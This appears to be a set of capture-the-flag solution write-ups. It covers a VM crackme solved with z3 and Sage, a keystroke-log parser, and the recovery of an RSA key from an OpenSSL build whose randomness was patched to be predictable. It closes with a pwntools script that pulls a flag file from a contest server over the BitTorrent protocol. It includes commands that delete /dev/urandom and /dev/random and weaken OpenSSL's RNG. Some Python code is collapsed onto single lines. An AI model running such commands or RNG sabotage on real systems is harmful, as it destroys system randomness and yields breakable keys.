>>>>s<m++++m+++++m++m+m+++++++>z>>>>s<m++++++m+++m++++++m+++++++m++++++++>z>>>>s<m++m+++++++++m+++++m+>z>>>>s<m+m+++++m++m+++m++++>z>>>>s<m+++++m+++++m+++++m++++++m+>z>>>>s<m++++mm++++++++m++m+++++++>z>>>>s<m+m+++m+++m+++m++++>z>>>>s<m++++m++++>z>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>s<m+++++++m+++++++++>z>>>+>>>>>s<m+++m++++>z>>>>>>>++++>>>>>s<m+++++m+++++m+++m+m+++++++++>z>>>>s<m++++m++++++m++++++mm+++>z>>>>s<m++++++++m+++++++m++++++m+++++>z>>>>s<m++mm+m+++++m+++++++++>z>>>>s<m+mm++++++++m+++++m++++++>z>>>>s<m+++++m+++++m++++++mm>z>>>>s<m++m++mm++++++++m++++++++>z>>>>s<m++m++++++m++++++m++++++++m+++++++++>z>>>>s<m+m++++++++m++m+m+>z>>>>s<m+m+++++++++m+++++m++++++m+>z>>>>s<m++++mm+++m+++m++>z>>>>s<m+++m+++++++++m+++m++m+++++++>z>>>>s<m+++++m+++m++m+++++++m+++++>z>>>>s<m++m+++++m++++++++m++++m>z>>>>s<m+++++m+++m++m+++++m++++++++>z>>>>s<m+m+++++m++++++m++++++++m++>z>>>>s<m+++mm+++m+++++m+++++++>z>>>>s<m+++++++++m++++++++m++m++>z>>>>s<m+++m+++++++++m++++++++m+++++++++m++++++>z>>>>s<m+++mm+++++++m++++++++>z>>>>s<m++m+++m++++++++m+++>z>>>>s<m+++++mm+++m++++++m++++++++>z>>>>s<m++++++m+++m+m+m+>z>>>>s<m+++++m+mm+++++m++>z>>>>s<m+m+++m++++++m+++++++m+++++++++>z>>>>s<m+m++++++++m++++++++m+++m>z>>>>s<m+++m+++++m++++++++mm+++++>z>>>>s<m++++mm+++++++m+++m+++++++>z>>>>s<m++++m++++++++m++++++++m+++++++++m+++>z>>>>s<m++m+++mmm++++++>z>>>>s<m+++++m++++++++mm++++++m>z>>>>s<m++m+++++++++m+++++m+m+++++++++>z>>>>s<m+++m+++++++m+++m+++++m>z>>>>s<m++++++m+++++++++mm++>z>>>>s<m+m+m++++++++>z>>>>s<m++++++m+++++++>z>>>>s<m+m+m+>z>>>>s<m+m+m++++>z>>>>s<m+mm+>z>>>>s<m+++++++++m+++++++++>z>>>>s<m+m+m++++++>z>>>>s<m+++m+++>z>>>>s<m+m>z>>>>s<m++++++++m+++++++>z>>>>s<m+m+m>z>>>>s<m+mm+++>z>>>>s<m+++++m++++++++>z>>>>s<m+m++m+>zz<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<> [>>>l<<<<- [+>>>>>>>-]+>>s<<>- [+<<<<<<<-]+>>>>l<<<<<- [+>>>>>>>-]+>>>s<<<>- [+<<<<<<<-]+>>>>>l<<<<<<- [+>>>>>>>-]+>>>>s<<<<>= [->>l<s>>>>>>>>>>l<<<<<<<<s>>>>l<<<<<s<<= [->>a<<]>-<= [->>m<<]>-<= [->>=<<]>-<= [->>,<<]>-<= [->>.<<]>-<>z>l>>>>>s<<<<z<z<< ]>-<= [->>>>>>>l<<<<<s [<<- [+<<<<<<<-]+>>>>l<<<s>>>>l<<<s [-< [-l<->>>>>>>>s<+>]> ]< [-l<-><<<<<<<s<+>]<<- [+>>>>>>>-]+>>>z ]<< ]>-<= [->>l>>>s [-l>>>>s]>>l<<<- [+<<<<-]+<<s>l>>s [-l>>>>s]>>l<<<- [+<<<<-]+<s<<+< ]>-<= [->>l>>>s [-l>>>>s]>+<<- [+<<<<-]+<l>>s [-l>>>>s]>>l<<<- [+<<<<-]+>>- [+>>>>-]>s<<<- [+<<<<-]+<<<< ]>-<- [+<<<<<<<-]+->>>>>>>+ ]''' vm_code = ''.join(vm_code.strip().split()) + '\x00' jmps = [-1] * 10000 mem = [0] * 10000 def init_rec(uParm1): global jmps while True: cVar1 = vm_code[uParm1]; while (vm_code[uParm1] != '['): if (cVar1 == ']'): return uParm1 if (cVar1 == '\x00'): return -1; uParm1 += 1; cVar1 = vm_code[uParm1] iVar2 = init_rec(uParm1 + 1) jmps[uParm1] = iVar2 jmps[iVar2] = uParm1 uParm1 = iVar2 + 1 def init(): init_rec(0) xs = [Int("x%d" % i) for i in range(34)] s = Solver() is_next_stop = False init() mem_cursor = 0 code_cursor = 0 reg = 0 curr_op = vm_code[0] read_cnt = 0 while True: if curr_op == '\x00': break elif curr_op == '#': pass elif curr_op == '+': mem[mem_cursor] = (mem[mem_cursor] + 1) % 0x10001 elif curr_op == ',': mem[mem_cursor] = xs[read_cnt] read_cnt += 1 elif curr_op == '-': mem[mem_cursor] = (mem[mem_cursor] + 0x10000) % 0x10001 elif curr_op == '.': break elif curr_op == '<': mem_cursor -= 1 elif curr_op == '=': if isinstance(mem[mem_cursor], ArithRef) or isinstance(mem[mem_cursor + 1], ArithRef): s.add(mem[mem_cursor] == mem[mem_cursor + 1]) mem[mem_cursor] = 1 else: mem[mem_cursor] = int(mem[mem_cursor] == mem[mem_cursor + 1]) elif curr_op == '>': mem_cursor += 1 elif curr_op == '[': if mem[mem_cursor] == 0: code_cursor = jmps[code_cursor] if code_cursor < 0: print("Unbalanced [") break elif curr_op == ']': if mem[mem_cursor] != 0: code_cursor = jmps[code_cursor] if code_cursor < 0: print("Unbalanced ]") break elif curr_op == 'a': mem[mem_cursor] = (mem[mem_cursor] + mem[mem_cursor + 1]) % 0x10001; elif curr_op == 'l': reg = mem[mem_cursor] elif curr_op == 'm': mem[mem_cursor] = (mem[mem_cursor] * mem[mem_cursor + 1]) % 0x10001; elif curr_op == 's': mem[mem_cursor] = reg elif curr_op == 'z': mem[mem_cursor] = 0 code_cursor += 1 curr_op = vm_code[code_cursor] open('eso_vm.smt', 'w').write(s.to_smt2())
require 'sxp'
require 'matrix'
MOD = 65537
def parse(s_expr)
    if s_expr.is_a?(Integer)
        return s_expr
    elsif s_expr.is_a?(Symbol)
        ret = @var_map[s_expr]
        unless ret
            fail 'Not found: %s' % s_expr
        end
        return ret
    end
    cmd, a, b = s_expr
    a = parse(a)
    b = parse(b)
    if cmd == :mod
        fail unless b == 65537
        return a
    elsif cmd == :*
        return (a * b).map{|a| a % MOD}
    elsif cmd == :+
        if b.is_a?(Integer)
            bb = Vector.zero(N + 1)
            bb[N] = b
            b = bb
        end
        if a.is_a?(Integer)
            aa = Vector.zero(N + 1)
            aa[N] = a
            a = aa
        end
        return (a + b).map{|a| a % MOD}
    else
        STDERR.puts cmd
        fail
    end

end
@var_map = {}
N = 34
34.times do |x|
    vec = Vector.zero(N + 1)
    vec[x] = 1
    @var_map[('x%d' % x).to_sym] = vec
end
parsed= SXP.read(File.read('eso_vm.smt'))
parsed = parsed[111..-2]
M = Array.new(N){Array.new(N)}
vec = Array.new(N)
parsed.each.with_index do |p, i|
    fail unless p[0] == :assert
    p = p[1]
    while true
        if p[0] == :let
            value_name =  p[1][0][0]
            expr =  p[1][0][1]
            @var_map[value_name] = parse(expr)
            p = p[2]
        else
            cmd, a, b = p
            a = parse(a)
            b = parse(b)
            pp [a, b]
            vec[i] = (b - a[N]) % MOD
            M[i] = a.to_a[0, N]
            break
        end
    end
end

require 'json'

sage = <<EOS
mat = Matrix(GF(#{MOD}), #{M.to_json})
vec = vector(GF(#{MOD}), #{vec.to_json})
print mat.solve_right(vec)

EOS

File.write('solve.sage', sage)
system 'sage solve.sage'

Recorded

/dev/input/event1 is event device file for Linux Input Subsystem.
Google will helps you to find some parser for this format:

#!/usr/bin/python
import struct
import time
import sys
import evdev

infile_path = (sys.argv[1] if len(sys.argv) > 1 else "0")

#long int, long int, unsigned short, unsigned short, unsigned int
FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

#open file in binary mode
in_file = open(infile_path, "rb")

event = in_file.read(EVENT_SIZE)
keymap = evdev.ecodes.KEY

while event:
    (tv_sec, tv_usec, type, code, value) = struct.unpack(FORMAT, event)

    if type == 4 and code == 4:
        print("{} pressed ({}.{})".format(keymap[value], tv_sec, tv_usec))
    if type == 1 and value == 0:
        print("{} released ({}.{})".format(keymap[code], tv_sec, tv_usec))

    if type != 0 or code != 0 or value != 0:
        print("Event type %u, code %u (%s), value %u (%s) at %d.%d" % \
            (type, code, keymap[code], value, keymap[value], tv_sec, tv_usec))
    else:
        # Events with code, type and value == 0 are "separator" events
        print("===========================================")

    event = in_file.read(EVENT_SIZE)

in_file.close()

checking output, executed command was as following:

rm /dev/urandom
rm /dev/random
LANG=C date --utc > /dev/random
echo nyan >> /dev/random
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf openssl-1.1.1b.tar.gz
cd openssl-1.1.1b
vim crypto/rand/rand_unix.c

637G
d17d
621G
d2d
603G
dd
480G
d30d
:wq

vim crypto/rand/rand_lib.c

250G
d2d
:wq

./config
make -j4

cd ..
LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem
LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -encrypt -inkey key.pem -in flag.txt -out encrypted
fg 1

then all we need to know is secret key used to encrypt file.

system  'rm /dev/urandom'
system  'rm /dev/random'
system "LANG=C faketime '2019-04-27 12:37:48' date --utc > /dev/random"
system 'echo nyan >> /dev/random'
(1000..10000).each do |i|
    p i
    system "FAKEPID=#{i} LD_LIBRARY_PATH=./openssl-1.1.1b faketime '2019-04-27 12:41:24'  ./openssl-1.1.1b/apps/openssl genrsa 1024 > rsa.key 2> /dev/null"
    system "FAKEPID=#{i} LD_LIBRARY_PATH=./openssl-1.1.1b faketime '2019-04-27 12:41:24'  ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey rsa.key -in encrypted 2> /dev/null | tee -a decrypted"
end

plzseed

from pwn import * # context.log_level = 'debug' piece_size = 16777216 num_pices = 19201 def read_bytes(p, offset, size): payload = '' payload += p32(0xd, endianness='big') payload += p8(6, endianness='big') payload += p32(offset / piece_size, endianness='big') payload += p32(offset % piece_size, endianness='big') payload += p32(size, endianness='big') p.send(payload) return p.recvn(size + 0xd)[0xd:] p = remote('34.85.75.40', 10001) info_hash = '6ed7e46a243c10f612bfcdfddc9ce7d45dca6122'.decode('hex') peer_id = '2d4c54303130302d567663694f7743566462667a'.decode('hex') p.send('\x13BitTorrent protocol\x00\x00\x00\x00\x00\x10\x00\x05' + info_hash + peer_id) rsp = p.recvn(68) p.send('\x00\x00\x00\x01\x02') p.recvn(0x96b) read_length = u32(p.recvn(4), endianness='big') p.recvn(read_length) current_cursor = 0x14 while True: header_offset = current_cursor + 3 header_buf = read_bytes(p, header_offset, 8) head_flags, header_size, raw_data_size = u16(header_buf[0:2]), u16(header_buf[2:4]), u32(header_buf[4:8]) if head_flags & 0x100: additional_header_offset = current_cursor + 0x20 additional_header_buf = read_bytes(p, additional_header_offset, 8) HIGH_PACK_SIZE, HIGH_UNP_SIZE = u32(additional_header_buf[0:4]), u32(additional_header_buf[4:8]) skip_size = HIGH_PACK_SIZE * 0x100000000 + raw_data_size fname_offset = current_cursor + 0x28 fname = read_bytes(p, fname_offset, 0x20).split('\x00')[0] else: skip_size = raw_data_size fname_offset = current_cursor + 0x20 fname = read_bytes(p, fname_offset, 0x20).split('\x00')[0] print('current_cursor : {0:x}'.format(current_cursor)) print('skip_size : {0:x}'.format(skip_size)) print('fname : {}'.format(fname)) if 'flag' in fname: flag_buf = read_bytes(p, current_cursor, skip_size + header_size) rar_header = '526172211A0700CF907300000D00000000000000'.decode('hex') open('flag.rar', 'wb').write(rar_header + flag_buf) break current_cursor += skip_size + header_size